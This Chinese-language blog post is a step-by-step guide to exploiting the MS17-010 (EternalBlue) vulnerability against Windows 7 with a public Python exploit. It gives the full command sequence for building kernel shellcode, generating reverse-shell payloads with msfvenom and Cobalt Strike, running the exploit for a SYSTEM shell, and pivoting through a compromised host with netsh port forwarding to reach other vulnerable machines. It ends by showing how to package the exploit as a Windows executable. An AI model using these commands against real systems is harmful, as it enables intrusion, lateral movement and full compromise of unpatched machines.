使用python利用永恒之蓝漏洞

如何使用python来利用MS17-010漏洞。

可参考这篇文章,利用Worawit Wang大神写的利用代码和shellcode.

MS17-010 EternalBlue Manual Exploitation (danielantonsen.com)

分析环境:

  • Kali-Linux2021.2 IP:192.168.182.142

  • windows7 6.1.7601 Service Pack 1 Build 7601 x86 IP:192.168.182.144

注意关闭windows防火墙,保证两台主机能够相互ping通。

生成shellcode

在kali系统中,打开shell,下载Worawit Wang大神的利用代码。

$ git clone https://github.com/worawit/MS17-010.git

查看内核态的shellcode

$ ls MS17-010/shellcode | grep shellcode 
eternalblue_kshellcode_x64.asm 
eternalblue_kshellcode_x86.asm

进入shellcode目录,编译内核shellcode
对于x64

nasm -f bin eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin

对于x86

nasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin

使用msfvenom生成用户层的shellcode

使用msfvenom生成用户层的shellcode

对于x64

msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=192.168.182.142 --platform windows -a x64 --format raw -o sc_x64_payload.bin

对于x86

msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.182.142 --platform windows -a x86 --format raw -o sc_x86_payload.bin

使用cobalttrike生成用户层的shellcode

如下图所示,使用客户端连接teamserver服务器,在菜单中点击攻击->生成后门->payload生成器,注意输出格式选择Raw,会生成编译好的shellcode.

将内核层和应用层的shellcode链接在一起
对于x64

cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin

对于x86

cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin

使用脚本eternalblue_sc_merge.py将x64和x86的shellcode整合成一个二进制文件,这步是可选的

python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin

此时我们的目录结构如下所示

┌──(kali㉿kali)-[~/Desktop/MS17-010-master/shellcode]
└─$ ll      
-rw-r--r-- 1 kali kali 20305 Mar 29  2018 eternalblue_kshellcode_x64.asm
-rw-r--r-- 1 kali kali 19862 Mar 29  2018 eternalblue_kshellcode_x86.asm
-rw-r--r-- 1 kali kali  1589 Mar 29  2018 eternalblue_sc_merge.py
-rw-r--r-- 1 kali kali  2203 Oct 15 03:36 sc_all.bin
-rw-r--r-- 1 kali kali  1232 Oct 15 03:34 sc_x64.bin
-rw-r--r-- 1 kali kali   772 Oct 15 03:30 sc_x64_kernel.bin
-rw-r--r-- 1 kali kali   460 Oct 15 03:31 sc_x64_payload.bin
-rw-r--r-- 1 kali kali   962 Oct 15 03:34 sc_x86.bin
-rw-r--r-- 1 kali kali   638 Oct 15 03:30 sc_x86_kernel.bin
-rw-r--r-- 1 kali kali   324 Oct 15 03:32 sc_x86_payload.bin

利用漏洞

使用wireshark抓包,抓包过滤器tcp && host 192.168.182.144 && 192.168.182.142 &&(port 445 || port 443)

漏洞的利用脚本依赖python2环境,需要安装impacket包的早期版本,因为较新的版本已经不支持Python2了。

pip2 install impacket==0.9.15

使用python利用漏洞,获取靶机的shell,还是system权限。

python eternalblue_exploit7.py 192.168.182.144 shellcode/sc_x86.bin

使用端口转发利用ms17010

现在我们考虑这样一种场景,用户网的入口交换机上禁用了445端口,我们已经拿到了内网中一台windows终端的权限,想要利用这台终端为跳板,攻击同网段内其它有永恒之蓝漏洞的主机。

首先在跳板机上配置端口转发策略

windows中配置端口转发

开启iphlpsvc服务 net start iphlpsvc 
配置端口转发 netsh interface portproxy add v4tov4 listenport=443 listenaddress=0.0.0.0 connectaddress=192.168.182.144 connectport=445
查看配置 netsh interface portproxy show all
查看端口是否打开 netstat -ano | findstr 80
使用完毕后删除配置 netsh interface portproxy delete v4tov4 listenport=80 listenaddress=0.0.0.0

注意:如果该命令未返回任何内容并且通过netsh interface portproxy进行端口转发不成功,则请确保iphlpsvc(IP Helper)服务当前已在你的系统上运行

可参考 如何在Window中进行TCP端口转发(Port Forwarding)_tcp port forwarding-优快云博客

在这里,将攻击流量从跳板机的443端口转发到目标到445端口上,需要将python脚本修改一下,很简单,将eternalblue_exploit7.py中conn = smb.SMB(target, target) 替换为 smb.SMB(target, target,sess_port=PORT),其中PORT为要使用的端口,在smb.SMB类的定义中,将sess_port默认设置为445,也可以显式指定为其它的端口。

将python代码打包成exe

要想将上面的漏洞利用代码打包成exe程序在windows环境上使用,可以使用pyinstaller工具对python代码进行打包。worawit大神的代码是基于python2.7环境,我们使用下面的环境对代码进行打包。

windows 7 x86 + python2.7.16

然后安装下面这些第三方依赖库

Package     Version
----------- -------
distribute  0.7.3
impacket    0.9.15
pip         20.3.4
PyInstaller 2.1
pywin32     228
setuptools  40.6.2

打包命令

pyinstaller -F xxx.py

下一步有空的话,详细分析一下Worawit Wang大神的shellcode.

参考资料

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值